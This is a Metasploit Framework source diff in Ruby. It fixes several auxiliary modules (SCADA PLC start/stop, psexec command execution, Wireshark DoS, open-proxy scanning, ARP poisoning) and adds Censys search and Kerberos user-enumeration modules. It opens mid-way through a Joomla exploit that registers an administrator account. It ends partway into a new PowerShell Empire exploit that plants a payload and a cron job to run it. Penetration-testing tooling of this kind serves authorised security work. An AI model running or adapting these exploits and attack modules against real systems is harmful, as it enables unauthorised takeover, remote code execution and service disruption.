Exploit::CheckCode::Safe + end + + version = Gem::Version.new(joomla_version) + if version + print_status("Detected Joomla version #{joomla_version}") + return Exploit::CheckCode::Appears if version.between?(Gem::Version.new('3.4.4'), Gem::Version.new('3.6.3')) + end + + return Exploit::CheckCode::Detected if online + end + + def get_csrf(hidden_fields) + hidden_list = hidden_fields + hidden_list.each do |fields| + fields.each do |item| + if item[0].length == 32 && item[1] == '1' + return item[0] + end + end + end + end + + def run + if check == Exploit::CheckCode::Safe + print_error('Target seems safe, so we will not continue!') + return + end + + print_status("Trying to create the user!") + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'index.php/component/users/'), + 'vars_get' => { + 'view' => 'login' + } + ) + + if res && res.code == 200 + cookie = res.get_cookies + csrf = get_csrf(res.get_hidden_inputs) + + if csrf.length != 32 && cookie.split(/=/).length != 2 + print_error('Could not find csrf or cookie!') + return + end + else + print_error('Could not find Login Page!') + return + end + + mime = Rex::MIME::Message.new + mime.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user[name]"') + mime.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user[username]"') + mime.add_part('7', nil, nil, 'form-data; name="user[groups][]"') + mime.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="user[password1]"') + mime.add_part(datastore['PASSWORD'] , nil, nil, 'form-data; name="user[password2]"') + mime.add_part(datastore['EMAIL'], nil, nil, 'form-data; name="user[email1]"') + mime.add_part(datastore['EMAIL'], nil, nil, 'form-data; name="user[email2]"') + mime.add_part('com_users', nil, nil, 'form-data; name="option"') + mime.add_part('user.register', nil, nil, 'form-data; name="task"') + mime.add_part('1', nil, nil, 'form-data; name="' + csrf +'"') + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'index.php/component/users/'), + 'cookie' => cookie, + 'ctype' => "multipart/form-data; boundary=#{mime.bound}", + 'data' => mime.to_s + ) + + if res && res.code == 200 + print_good("PWND - Your user has been created") + print_status("\tUsername: " + datastore['USERNAME']) + print_status("\tPassword: " + datastore['PASSWORD']) + print_status("\tEmail: " + datastore['EMAIL']) + elsif res.redirect? + res = send_request_cgi!( + 'uri' => res.redirection.path, + 'method' => 'GET', + 'cookie' => cookie + ) + + print_error("There was an issue, but the user could have been created.") + + parsed_data = res.get_html_document + parsed_data.xpath('//div[@class="alert-message"]').each do |alert_msg| + print_error("\t" + alert_msg.text) + end + else + print_error("This host may not be vulnerable.") + end + end +end diff --git a/modules/auxiliary/admin/scada/phoenix_command.rb b/modules/auxiliary/admin/scada/phoenix_command.rb index 57306178de..372f699dad 100644 --- a/modules/auxiliary/admin/scada/phoenix_command.rb +++ b/modules/auxiliary/admin/scada/phoenix_command.rb @@ -20,8 +20,8 @@ class MetasploitModule < Msf::Auxiliary It allows a remote user to read out the PLC Type, Firmware and Build number on port TCP/1962. And also to read out the CPU State (Running or Stopped) AND start - or stop the CPU on port TCP/20547 (confirmed ILC 15x and 17x series) - or on port TCP/41100 (confirmed ILC 39x series) + or stop the CPU on port TCP/41100 (confirmed ILC 15x and 17x series) + or on port TCP/20547 (confirmed ILC 39x series) }, 'Author' => 'Tijl Deneut ', 'License' => MSF_LICENSE, @@ -211,11 +211,11 @@ class MetasploitModule < Msf::Auxiliary if device.start_with?('ILC 15', 'ILC 17') devicetype = '15x' print_status('--> Detected 15x/17x series, getting current CPU state:') - ractionport == 0 ? (rport = 41100) : (rport = ractionport) + ractionport.nil? ? (rport = 41100) : (rport = ractionport) elsif device.start_with?('ILC 39') devicetype = '39x' print_status('--> Detected 39x series, getting current CPU state:') - ractionport == 0 ? (rport = 20547) : (rport = ractionport) + ractionport.nil? ? (rport = 20547) : (rport = ractionport) else print_error('Only ILC and (some) RFC devices are supported.') return diff --git a/modules/auxiliary/admin/smb/psexec_command.rb b/modules/auxiliary/admin/smb/psexec_command.rb index 5747494726..593db5af84 100644 --- a/modules/auxiliary/admin/smb/psexec_command.rb +++ b/modules/auxiliary/admin/smb/psexec_command.rb @@ -99,9 +99,9 @@ class MetasploitModule < Msf::Auxiliary print_status("Executing the command...") begin return psexec(execute) - rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error => exec_command_error + rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}", 'rex', LEV_3) - print_error("Unable to execute specified command: #{exec_command_error}") + print_error("Unable to execute specified command: #{e}") return false end end @@ -136,8 +136,13 @@ class MetasploitModule < Msf::Auxiliary # check if our process is done using these files def exclusive_access(*files) + begin simple.connect("\\\\#{@ip}\\#{@smbshare}") - files.each do |file| + rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror + print_status("Unable to get handle: #{accesserror}") + return false + end + files.each do |file| begin print_status("checking if the file is unlocked") fd = smb_open(file, 'rwo') @@ -154,7 +159,12 @@ class MetasploitModule < Msf::Auxiliary # Removes files created during execution. def cleanup_after(*files) - simple.connect("\\\\#{@ip}\\#{@smbshare}") + begin + simple.connect("\\\\#{@ip}\\#{@smbshare}") + rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror + print_error("Unable to connect for cleanup: #{accesserror}. Maybe you'll need to manually remove #{files.join(", ")} from the target.") + return + end print_status("Executing cleanup...") files.each do |file| begin diff --git a/modules/auxiliary/dos/wireshark/chunked.rb b/modules/auxiliary/dos/wireshark/chunked.rb index 3cb3a0a4a3..ec7fab9c22 100644 --- a/modules/auxiliary/dos/wireshark/chunked.rb +++ b/modules/auxiliary/dos/wireshark/chunked.rb @@ -17,13 +17,13 @@ class MetasploitModule < Msf::Auxiliary Wireshark crash when dissecting an HTTP chunked response. Versions affected: 0.99.5 (Bug 1394) }, - 'Author' => [ 'Matteo Cantoni ' ], + 'Author' => ['Matteo Cantoni '], 'License' => MSF_LICENSE, 'References' => [ - [ 'CVE', '2007-3389'], - [ 'OSVDB', '37643'], - [ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=1394'], + ['CVE', '2007-3389'], + ['OSVDB', '37643'], + ['URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=1394'], ], 'DisclosureDate' => 'Feb 22 2007')) @@ -42,13 +42,13 @@ class MetasploitModule < Msf::Auxiliary p = PacketFu::TCPPacket.new p.ip_saddr = datastore['SHOST'] || Rex::Socket.source_address(rhost) - p.ip_daddr = dhost + p.ip_daddr = rhost p.tcp_dport = rand(65535)+1 - n.tcp_ack = rand(0x100000000) + p.tcp_ack = rand(0x100000000) p.tcp_flags.psh = 1 p.tcp_flags.ack = 1 p.tcp_sport = datastore['SPORT'].to_i - p.tcp_window = 3072 + p.tcp_win = 3072 # The following hex blob contains an HTTP response with a chunked-encoding # length of 0. The ASCII version is below in a block comment. diff --git a/modules/auxiliary/dos/wireshark/ldap.rb b/modules/auxiliary/dos/wireshark/ldap.rb index f56c69f873..5bb4d778e9 100644 --- a/modules/auxiliary/dos/wireshark/ldap.rb +++ b/modules/auxiliary/dos/wireshark/ldap.rb @@ -49,7 +49,7 @@ class MetasploitModule < Msf::Auxiliary p.tcp_flags.syn = 1 p.tcp_flags.ack = 1 p.tcp_dport = datastore['RPORT'].to_i - p.tcp_window = 3072 + p.tcp_win = 3072 p.payload = "0O\002\002;\242cI\004\rdc=#{m},dc=#{m}\n\001\002\n\001\000\002\001\000\002\001\000\001\001\000\241'\243\016" p.recalc capture_sendto(p, rhost) diff --git a/modules/auxiliary/gather/censys_search.rb b/modules/auxiliary/gather/censys_search.rb new file mode 100644 index 0000000000..a60ec45240 --- /dev/null +++ b/modules/auxiliary/gather/censys_search.rb @@ -0,0 +1,172 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' +require 'rex/proto/http' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Auxiliary::Report + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Censys Search', + 'Description' => %q{ + The module use the Censys REST API to access the same data + accessible through web interface. The search endpoint allows searches + against the current data in the IPv4, Top Million Websites, and + Certificates indexes using the same search syntax as the primary site. + }, + 'Author' => [ 'Nixawk' ], + 'References' => [ + ['URL', 'https://censys.io/api'] + ], + 'License' => MSF_LICENSE + )) + + register_options([ + OptString.new('CENSYS_UID', [true, 'The Censys API UID']), + OptString.new('CENSYS_SECRET', [true, 'The Censys API SECRET']), + OptString.new('CENSYS_DORK', [true, 'The Censys Search Dork']), + OptEnum.new('CENSYS_SEARCHTYPE', [true, 'The Censys Search Type', 'certificates', ['certificates', 'ipv4', 'websites']]) + ], self.class) + end + + def basic_auth_header(username, password) + auth_str = username.to_s + ":" + password.to_s + auth_str = "Basic " + Rex::Text.encode_base64(auth_str) + end + + def search(keyword, search_type) + # search_type should be one of ipv4, websites, certificates + + begin + # "80.http.get.headers.server: Apache" + payload = { + 'query' => keyword + } + + @cli = Rex::Proto::Http::Client.new('www.censys.io', 443, {}, true) + @cli.connect + + response = @cli.request_cgi( + 'method' => 'post', + 'uri' => "/api/v1/search/#{search_type}", + 'headers' => { 'Authorization' => basic_auth_header(@uid, @secret) }, + 'data' => payload.to_json + ) + + res = @cli.send_recv(response) + + rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT + print_error("HTTP Connection Failed") + end + + unless res + print_error('server_response_error') + return + end + + records = ActiveSupport::JSON.decode(res.body) + results = records['results'] + + if @searchtype.include?('certificates') + parse_certificates(results) + elsif @searchtype.include?('ipv4') + parse_ipv4(results) + elsif @searchtype.include?('websites') + parse_websites(results) + end + end + + def valid_domain?(domain) + domain =~ /^([a-z0-9]+(-[a-z0-9]+)*\.)+[a-z]{2,}$/ + end + + def domain2ip(domain) + ips = [] + begin + ips = Rex::Socket.getaddresses(domain) + rescue SocketError + end + ips + end + + def parse_certificates(records) + ips = [] + records.each do |certificate| + # parsed.fingerprint_sha256 + # parsed.subject_dn + # parsed.issuer_dn + subject_dn = certificate['parsed.subject_dn'].join(',') + next unless subject_dn.include?('CN=') + + host = subject_dn.split('CN=')[1] + if Rex::Socket.is_ipv4?(host) + ips << host + elsif valid_domain?(host) # Fake DNS server + ips |= domain2ip(host) + end + + ips.each do |ip| + print_good("#{ip} - #{subject_dn}") + report_host(:host => ip, :info => subject_dn) + end + end + end + + def parse_ipv4(records) + records.each do |ipv4| + # ip + # protocols + ip = ipv4['ip'] + protocols = ipv4['protocols'] + + protocols.each do |protocol| + print_good("#{ipv4['ip']} - #{ipv4['protocols'].join(',')}") + port, name = protocol.split('/') + report_service(:host => ip, :port => port, :name => name) + end + end + end + + def parse_websites(records) + records.each do |website| + # domain + # alexa_rank + print_good("#{website['domain']} - #{website['alexa_rank']}") + domain = website['domain'] + ips = domain2ip(domain) + ips.each do |ip| + report_host(:host =>ip) + end + end + end + + # Check to see if www.censys.io resolves properly + def censys_resolvable? + begin + Rex::Socket.resolv_to_dotted("www.censys.io") + rescue RuntimeError, SocketError + return false + end + true + end + + def run + # check to ensure www.censys.io is resolvable + unless censys_resolvable? + print_error("Unable to resolve www.censys.io") + return + end + + @uid = datastore['CENSYS_UID'] + @secret = datastore['CENSYS_SECRET'] + @dork = datastore['CENSYS_DORK'] + @searchtype = datastore['CENSYS_SEARCHTYPE'] + search(@dork, @searchtype) + end +end diff --git a/modules/auxiliary/gather/ie_uxss_injection.rb b/modules/auxiliary/gather/ie_uxss_injection.rb index 2cb0acf9c3..bee9d14c9e 100644 --- a/modules/auxiliary/gather/ie_uxss_injection.rb +++ b/modules/auxiliary/gather/ie_uxss_injection.rb @@ -81,7 +81,7 @@ class MetasploitModule < Msf::Auxiliary host = "[#{host}]" end - if datastore['URIPORT'] != 0 + if datastore['URIPORT'] port = ':' + datastore['URIPORT'].to_s elsif (ssl and datastore["SRVPORT"] == 443) port = '' diff --git a/modules/auxiliary/gather/kerberos_enumusers.rb b/modules/auxiliary/gather/kerberos_enumusers.rb new file mode 100644 index 0000000000..0c03892dcf --- /dev/null +++ b/modules/auxiliary/gather/kerberos_enumusers.rb @@ -0,0 +1,127 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class MetasploitModule < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::Kerberos::Client + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Kerberos Domain User Enumeration', + 'Description' => %q( + This module will enumerate valid Domain Users via Kerberos from an unauthenticated perspective. It utilises + the different responses returned by the service for valid and invalid users. + ), + 'Author' => + [ + 'Matt Byrne ' # Metasploit module + ], + 'References' => + [ + [ 'URL', 'https://nmap.org/nsedoc/scripts/krb5-enum-users.html'] + ], + 'License' => MSF_LICENSE + ) + ) + + register_options( + [ + OptString.new('DOMAIN', [ true, 'The Domain Eg: demo.local' ]), + OptPath.new( + 'USER_FILE', + [true, 'Files containing usernames, one per line', nil] + ) + ], + self.class + ) + end + + def user_list + users = nil + if File.readable? datastore['USER_FILE'] + users = File.new(datastore['USER_FILE']).read.split + users.each { |u| u.downcase! } + users.uniq! + else + raise ArgumentError, "Cannot read file #{datastore['USER_FILE']}" + end + users + end + + def run + print_status("Validating options...") + + domain = datastore['DOMAIN'].upcase + user_file = datastore['USER_FILE'] + + print_status("Using domain: #{domain}...") + + pre_auth = [] + pre_auth << build_pa_pac_request + pre_auth + + user_list.each do |user| + print_status("#{peer} - Testing User: \"#{user}\"...") + res = send_request_as( + client_name: "#{user}", + server_name: "krbtgt/#{domain}", + realm: "#{domain}", + pa_data: pre_auth + ) + print_status("#{peer} - #{warn_error(res)}") if res.msg_type == Rex::Proto::Kerberos::Model::KRB_ERROR + test = Rex::Proto::Kerberos::Model::ERROR_CODES[res.error_code] + if test == ["KDC_ERR_PREAUTH_REQUIRED", "Additional pre-authentication required"] + print_good("#{peer} - User: \"#{user}\" is present") + report_cred( + host: datastore['RHOST'], + port: rport, + creds_name: 'Kerberos', + user: user + ) + elsif test == ["KDC_ERR_CLIENT_REVOKED", "Clients credentials have been revoked"] + print_error("#{peer} - User: \"#{user}\" account disabled or locked out") + else + print_status("#{peer} - User: \"#{user}\" does not exist") + end + end + end + + def report_cred(opts) + service_data = { + address: opts[:host], + port: opts[:port], + protocol: 'udp', + workspace_id: myworkspace.id, + service_name: opts[:creds_name] + } + + credential_data = { + username: opts[:user], + origin_type: :service, + module_fullname: self.fullname + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) + + create_credential_login(login_data) + end + + def warn_error(res) + msg = '' + + if Rex::Proto::Kerberos::Model::ERROR_CODES.key?(res.error_code) + error_info = Rex::Proto::Kerberos::Model::ERROR_CODES[res.error_code] + msg = "#{error_info[0]} - #{error_info[1]}" + else + msg = 'Wrong DOMAIN Name? Check DOMAIN and retry...' + end + end +end diff --git a/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb b/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb index fd22f8a66b..674956d42a 100644 --- a/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb +++ b/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb @@ -98,7 +98,7 @@ class MetasploitModule < Msf::Auxiliary progress(file_size, file_size) fname = datastore['PATH'].gsub(/[\/\\]/, '_') - p = store_loot("titanftp.traversal", "text/plain", "rhost", file_data, fname) + p = store_loot("titanftp.traversal", "text/plain", ip, file_data, fname) print_status("Saved in: #{p}") vprint_status(file_data.inspect) diff --git a/modules/auxiliary/scanner/http/open_proxy.rb b/modules/auxiliary/scanner/http/open_proxy.rb index 6ec76f75bb..9c1240d5fa 100644 --- a/modules/auxiliary/scanner/http/open_proxy.rb +++ b/modules/auxiliary/scanner/http/open_proxy.rb @@ -7,7 +7,7 @@ require 'msf/core' class MetasploitModule < Msf::Auxiliary - include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner include Msf::Auxiliary::WmapScanServer include Msf::Auxiliary::Report @@ -16,8 +16,10 @@ class MetasploitModule < Msf::Auxiliary super(update_info(info, 'Name' => 'HTTP Open Proxy Detection', 'Description' => %q{ - Checks if an HTTP proxy is open. False positive are avoided - verifing the HTTP return code and matching a pattern. + Checks if an HTTP proxy is open. False positive are avoided + verifying the HTTP return code and matching a pattern. + The CONNECT method is verified only the return code. + HTTP headers are shown regarding the use of proxy or load balancer. }, 'References' => [ @@ -31,224 +33,126 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(8080), - OptBool.new('MULTIPORTS', [ false, 'Multiple ports will be used : 80, 1080, 3128, 8080, 8123', false ]), - OptBool.new('RANDOMIZE_PORTS', [ false, 'Randomize the order the ports are probed', false ]), - OptBool.new('VERIFY_CONNECT', [ false, 'Enable test for CONNECT method', false ]), - OptBool.new('VERIFY_HEAD', [ false, 'Enable test for HEAD method', false ]), - OptBool.new('LOOKUP_PUBLIC_ADDRESS', [ false, 'Enable test for retrieve public IP address via RIPE.net', false ]), - OptString.new('SITE', [ true, 'The web site to test via alleged web proxy (default is www.google.com)', 'www.google.com' ]), - OptString.new('ValidCode', [ false, "Valid HTTP code for a successfully request", '200,302' ]), - OptString.new('ValidPattern', [ false, "Valid HTTP server header for a successfully request", 'server: gws' ]), - OptString.new('UserAgent', [ true, 'The HTTP User-Agent sent in the request', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]), - ], self.class) - - register_advanced_options( - [ - OptString.new('RIPE_ADDRESS', [ true, 'www.ripe.net IP address', '193.0.6.139' ]), + OptBool.new('MULTIPORTS', [ false, 'Multiple ports will be used: 80, 443, 1080, 3128, 8000, 8080, 8123', false ]), + OptBool.new('VERIFYCONNECT', [ false, 'Enable CONNECT HTTP method check', false ]), + OptString.new('CHECKURL', [ true, 'The web site to test via alleged web proxy', 'http://www.google.com' ]), + OptString.new('VALIDCODES', [ true, "Valid HTTP code for a successfully request", '200,302' ]), + OptString.new('VALIDPATTERN', [ true, "Valid pattern match (case-sensitive into the headers and HTML body) for a successfully request", '302 Moved' ]), ], self.class) register_wmap_options({ - 'OrderID' => 1, - 'Require' => {}, - }) + 'OrderID' => 1, + 'Require' => {}, + }) end def run_host(target_host) + check_url = datastore['CHECKURL'] + + if datastore['VERIFYCONNECT'] + target_method = 'CONNECT' + # CONNECT doesn't need but need port + check_url = check_url.gsub(/[http:\/\/|https:\/\/]/, '') + if check_url !~ /:443$/ + check_url = check_url + ":443" + end + else + target_method = 'GET' + # GET only http request + check_url = check_url.gsub(/https:\/\//, '') + if check_url !~ /^http:\/\//i + check_url = 'http://' + check_url + end + end + target_ports = [] if datastore['MULTIPORTS'] - target_ports = [ 80, 1080, 3128, 8080, 8123 ] + target_ports = [ 80, 443, 1080, 3128, 8000, 8080, 8123 ] + else + target_ports.push(datastore['RPORT'].to_i) end - target_ports.push(datastore['RPORT'].to_i) - - if datastore['RANDOMIZE_PORTS'] - target_ports = target_ports.sort_by { rand } - end - - target_ports = target_ports.uniq - - site = datastore['SITE'] - user_agent = datastore['UserAgent'] + target_proxy_headers = [ 'Forwarded', 'Front-End-Https', 'Max-Forwards', 'Via', 'X-Cache', 'X-Cache-Lookup', 'X-Client-IP', 'X-Forwarded-For', 'X-Forwarded-Host' ] target_ports.each do |target_port| - datastore['RPORT'] = target_port - if target_host == site - print_error("Target is the same as proxy site.") - else - check_host(target_host,target_port,site,user_agent) - end + verify_target(target_host,target_port,target_method,check_url,target_proxy_headers) end end - def check_pattern(res,pattern) + def verify_target(target_host,target_port,target_method,check_url,target_proxy_headers) - if (res =~ /#{pattern}/i) - return 1 - else - return 0 - end + vprint_status("#{peer} - Sending a web request... [#{target_method}][#{check_url}]") - end - - def write_request(method,site,user_agent) - - request = method + " http://" + site + "/ HTTP/1.1" + "\r\n" + - "Host: " + site + "\r\n" + - "Connection: close" + "\r\n" + - "User-Agent: #{user_agent}" + "\r\n" + - "Accept-Encoding: *" + "\r\n" + - "Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7" + "\r\n" + - "Cache-Control: no" + "\r\n" + - "Accept-Language: de,en;q=0.7,en-us;q=0.3" + "\r\n" + - "\r\n" - - return request - - end - - def send_request(site,user_agent) + datastore['RPORT'] = target_port begin - connect - - request = write_request('GET',site,user_agent) - sock.put(request) - res = sock.get_once(-1, 10) - - disconnect - - validcodes = datastore['ValidCode'].split(/,/) - - is_valid = 0 - retcode = 0 - retvia = 'n/a' - retsrv = 'n/a' - - if (res and res.match(/^HTTP\/1\.[01]\s+([^\s]+)\s+(.*)/)) - - retcode = $1 - - if (res.match(/Server: (.*)/)) - retsrv = $1.chomp - end - - if (res.match(/Via: (.*)\((.*)\)/)) - retvia = $2 - end - - validcodes.each do |validcode| - if (retcode.to_i == validcode.to_i) - is_valid += 1 - end - end - - if (check_pattern(res,datastore['ValidPattern']) == 1) - is_valid += 1 - end - end - - retres = [ is_valid, retcode, retvia, retsrv ] - - return retres - - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - rescue ::Timeout::Error, ::Errno::EPIPE - end - end - - def send_request_ripe(user_agent) - - ripe_address = datastore['RIPE_ADDRESS'] - - begin - connect - - request = write_request('GET',ripe_address,user_agent) - sock.put(request) - res = sock.get_once(-1, 10) - - disconnect - - retres = 0 - - if (res and res.match(/^HTTP\/1\.[01]\s+([^\s]+)\s+(.*)/)) - - retcode = $1 - - if (retcode.to_i == 200) - res.match(/Your IP Address is: (\s+)([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})(\s+)<\/strong>/m) - retres = "#{$2}.#{$3}.#{$4}.#{$5}" - end - end - - return retres - - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - rescue ::Timeout::Error, ::Errno::EPIPE - end - end - - def check_host(target_host,target_port,site,user_agent) - vprint_status("Checking #{target_host}:#{target_port} [#{site}]") - - is_valid,retcode,retvia,retsrv = send_request(site,user_agent) - - if (is_valid == 2) - - print_status("#{target_host}:#{target_port} is a potentially OPEN proxy [#{retcode}] (#{retvia})") - - report_note( - :host => target_host, - :port => target_port, - :method => 'GET', - :proto => 'tcp', - :sname => (ssl ? 'https' : 'http'), - :type => 'OPEN PROXY', - :data => 'Open proxy' + res = send_request_cgi( + 'uri' => check_url, + 'method' => target_method, + 'version' => '1.1' ) - if (datastore['VERIFY_CONNECT']) + return if not res - permit_connect,retcode,retvia,retsrv = send_request(site,user_agent) + vprint_status("#{peer} - Returns with '#{res.code}' status code [#{target_method}][#{check_url}]") - if (permit_connect == 2) - print_status("#{target_host}:#{target_port} CONNECT method successfully tested") + valid_codes = datastore['VALIDCODES'].split(/,/) + + target_proxy_headers_results = [] + target_proxy_headers.each do |proxy_header| + if (res.headers.to_s.match(/#{proxy_header}: (.*)/)) + proxy_header_value = $1 + # Ok...I don't like it but works... + target_proxy_headers_results.push("\n |_ #{proxy_header}: #{proxy_header_value}") + end + end + + if target_proxy_headers_results.any? + proxy_headers = target_proxy_headers_results.join() + end + + if datastore['VERIFYCONNECT'] + # Verifiying CONNECT we check only the return code + if valid_codes.include?(res.code.to_s) + + print_good("#{peer} - Potentially open proxy [#{res.code}][#{target_method}]#{proxy_headers}") report_note( :host => target_host, :port => target_port, - :method => 'CONNECT' + :method => target_method, + :proto => 'tcp', + :sname => (ssl ? 'https' : 'http'), + :type => 'OPEN HTTP PROXY', + :data => 'Open http proxy (CONNECT)' ) + end - end + else + # Verify return code && (headers.pattern or body.pattern) + if valid_codes.include?(res.code.to_s) && (res.headers.include?(datastore['VALIDPATTERN']) || res.body.include?(datastore['VALIDPATTERN'])) - if (datastore['VERIFY_HEAD']) - - permit_connect,retcode,retvia,retsrv = send_request(site,user_agent) - - if (permit_connect == 2) - print_status("#{target_host}:#{target_port} HEAD method successfully tested") + print_good("#{peer} - Potentially open proxy [#{res.code}][#{target_method}]#{proxy_headers}") report_note( :host => target_host, :port => target_port, - :method => 'HEAD' + :method => target_method, + :proto => 'tcp', + :sname => (ssl ? 'https' : 'http'), + :type => 'OPEN HTTP PROXY', + :data => 'Open http proxy (GET)' ) + end end - if (datastore['LOOKUP_PUBLIC_ADDRESS']) - - retres = send_request_ripe(user_agent) - - if (retres != 0) - print_status("#{target_host}:#{target_port} using #{retres} public IP address") - end - end + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e + vprint_error("#{peer} - The port '#{target_port}' is unreachable!") + return nil end - end end diff --git a/modules/auxiliary/scanner/x11/open_x11.rb b/modules/auxiliary/scanner/x11/open_x11.rb index 1ca3590286..a13811d28b 100644 --- a/modules/auxiliary/scanner/x11/open_x11.rb +++ b/modules/auxiliary/scanner/x11/open_x11.rb @@ -56,7 +56,7 @@ class MetasploitModule < Msf::Auxiliary if(success == 1) vendor_len = response[24,2].unpack('v')[0] vendor = response[40,vendor_len].unpack('A*')[0] - print_status("#{ip} Open X Server (#{vendor})") + print_good("#{ip} Open X Server (#{vendor})") # Add Report report_note( :host => ip, @@ -67,7 +67,7 @@ class MetasploitModule < Msf::Auxiliary :data => "Open X Server (#{vendor})" ) elsif (success == 0) - print_status("#{ip} Access Denied") + print_error("#{ip} Access Denied") else # X can return a reason for auth failure but we don't really care for this end diff --git a/modules/auxiliary/spoof/arp/arp_poisoning.rb b/modules/auxiliary/spoof/arp/arp_poisoning.rb index aacfb39fd4..388d2101a3 100644 --- a/modules/auxiliary/spoof/arp/arp_poisoning.rb +++ b/modules/auxiliary/spoof/arp/arp_poisoning.rb @@ -79,7 +79,7 @@ class MetasploitModule < Msf::Auxiliary raise RuntimeError ,'Source MAC is not in correct format' unless is_mac?(@smac) @sip = datastore['LOCALSIP'] - @sip ||= get_ipv4_addr(@interface)[0] if @netifaces + @sip ||= get_ipv4_addr(@interface) if @netifaces raise "LOCALSIP is not defined and can not be guessed" unless @sip raise "LOCALSIP is not an ipv4 address" unless Rex::Socket.is_ipv4?(@sip) diff --git a/modules/exploits/linux/http/empire_skywalker.rb b/modules/exploits/linux/http/empire_skywalker.rb new file mode 100644 index 0000000000..f757387969 --- /dev/null +++ b/modules/exploits/linux/http/empire_skywalker.rb @@ -0,0 +1,246 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + TASK_DOWNLOAD = 41 + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'PowerShellEmpire Arbitrary File Upload (Skywalker)', + 'Description' => %q{ + A vulnerability existed in the PowerShellEmpire server prior to commit + f030cf62 which would allow an arbitrary file to be written to an + attacker controlled location with the permissions of the Empire server. + + This exploit will write the payload to /tmp/ directory followed by a + cron.d file to execute the payload. + }, + 'Author' => + [ + 'Spencer McIntyre', # Vulnerability discovery & Metasploit module + 'Erik Daguerre' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['URL', 'http://www.harmj0y.net/blog/empire/empire-fails/'] + ], + 'Payload' => + { + 'DisableNops' => true, + }, + 'Platform' => %w{ linux python }, + 'Targets' => + [ + [ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ], + [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], + [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ] + ], + 'DefaultOptions' => { 'WfsDelay' => 75 }, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Oct 15 2016')) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [ false, 'Base URI path', '/' ]), + OptString.new('STAGE0_URI', [ true, 'The resource requested by the initial launcher, default is index.asp', 'index.asp' ]), + OptString.new('STAGE1_URI', [ true, 'The resource used by the RSA key post, default is index.jsp', 'index.jsp' ]), + OptString.new('PROFILE', [ false, 'Empire agent traffic profile URI.', '' ]) + ], self.class) + end + + def check + return Exploit::CheckCode::Safe if get_staging_key.nil? + + Exploit::CheckCode::Appears + end + + def aes_encrypt(key, data, include_mac=false) + cipher = OpenSSL::Cipher::AES256.new(:CBC) + cipher.encrypt + iv = cipher.random_iv + cipher.key = key + cipher.iv = iv + data = iv + cipher.update(data) + cipher.final + + digest = OpenSSL::Digest.new('sha1') + data << OpenSSL::HMAC.digest(digest, key, data) if include_mac + + data + end + + def create_packet(res_id, data, counter=nil) + data = Rex::Text::encode_base64(data) + counter = Time.new.to_i if counter.nil? + + [ res_id, counter, data.length ].pack('VVV') + data + end + + def reversal_key + # reversal key for commit da52a626 (March 3rd, 2016) - present (September 21st, 2016) + [ + [ 160, 0x3d], [ 33, 0x2c], [ 34, 0x24], [ 195, 0x3d], [ 260, 0x3b], [ 37, 0x2c], [ 38, 0x24], [ 199, 0x2d], + [ 8, 0x20], [ 41, 0x3d], [ 42, 0x22], [ 139, 0x22], [ 108, 0x2e], [ 173, 0x2e], [ 14, 0x2d], [ 47, 0x29], + [ 272, 0x5d], [ 113, 0x3b], [ 82, 0x3b], [ 51, 0x2d], [ 276, 0x2e], [ 213, 0x2e], [ 86, 0x2d], [ 183, 0x3a], + [ 24, 0x7b], [ 57, 0x2d], [ 282, 0x20], [ 91, 0x20], [ 92, 0x2d], [ 157, 0x3b], [ 30, 0x28], [ 31, 0x24] + ] + end + + def rsa_encode_int(value) + encoded = [] + while value > 0 do + encoded << (value & 0xff) + value >>= 8 + end + + 